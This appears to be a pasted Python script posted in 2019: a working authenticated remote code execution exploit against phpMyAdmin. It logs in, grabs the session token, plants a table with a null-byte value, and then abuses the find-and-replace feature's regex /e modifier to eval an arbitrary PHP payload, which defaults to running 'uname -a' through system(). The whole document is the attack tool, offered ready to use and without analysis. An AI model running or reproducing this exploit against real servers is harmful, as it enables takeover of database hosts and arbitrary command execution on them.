· 6 years ago · Jun 12, 2019, 10:46 PM
1#!/usr/bin/python
2
3import requests
4import argparse
5import sys
6
7if __name__ == '__main__':
8 parser = argparse.ArgumentParser()
9 parser.add_argument("url", type=str, help="URL with path to PMA")
10 parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
11 parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
12 parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
13 parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
14 parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
15 arguments = parser.parse_args()
16 url_to_pma = arguments.url
17 uname = arguments.user
18 upass = arguments.pwd
19 if arguments.dbs:
20 db = arguments.dbs
21 else:
22 db = "test"
23 token = False
24 custom_table = False
25 if arguments.table:
26 custom_table = True
27 table = arguments.table
28 else:
29 table = "prgpwn"
30 if arguments.cmd:
31 payload = arguments.cmd
32 else:
33 payload = "system('uname -a');"
34
35 size = 32
36 s = requests.Session()
37 s.verify = False
38 sql = '''CREATE TABLE `{0}` (
39 `first` varchar(10) CHARACTER SET utf8 NOT NULL
40 ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
41 INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
42 '''.format(table)
43
44
45 resp = s.post(url_to_pma + "/?lang=en", dict(
46 pma_username=uname,
47 pma_password=upass
48 ))
49 if resp.status_code is 200:
50 token_place = resp.text.find("token=") + 6
51 token = resp.text[token_place:token_place + 32]
52 if token is False:
53 print("Cannot get valid authorization token.")
54 sys.exit(1)
55
56 if custom_table is False:
57 data = {
58 "is_js_confirmed": "0",
59 "db": db,
60 "token": token,
61 "pos": "0",
62 "sql_query": sql,
63 "sql_delimiter": ";",
64 "show_query": "0",
65 "fk_checks": "0",
66 "SQL": "Go",
67 "ajax_request": "true",
68 "ajax_page_request": "true",
69 }
70 resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
71 if resp.status_code == 200:
72 if "success" in resp.json():
73 if resp.json()["success"] is False:
74 first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
75 error = first[:first.find("</code>")]
76 if "already exists" in error:
77 print(error)
78 else:
79 print("ERROR: " + error)
80 sys.exit(1)
81
82 exploit = {
83 "db": db,
84 "table": table,
85 "token": token,
86 "goto": "sql.php",
87 "find": "0/e\0",
88 "replaceWith": payload,
89 "columnIndex": "0",
90 "useRegex": "on",
91 "submit": "Go",
92 "ajax_request": "true"
93 }
94 resp = s.post(
95 url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
96 )
97 if resp.status_code == 200:
98 result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
99 if len(result):
100 print("result: " + result)
101 sys.exit(0)
102 print(
103 "Exploit failed!\n"
104 "Try to manually set exploit parameters like --table, --database and --token.\n"
105 "Remember that servers with PHP version greater than 5.4.6"
106 " is not exploitable, because of warning about null byte in regexp"
107 )
108 sys.exit(1)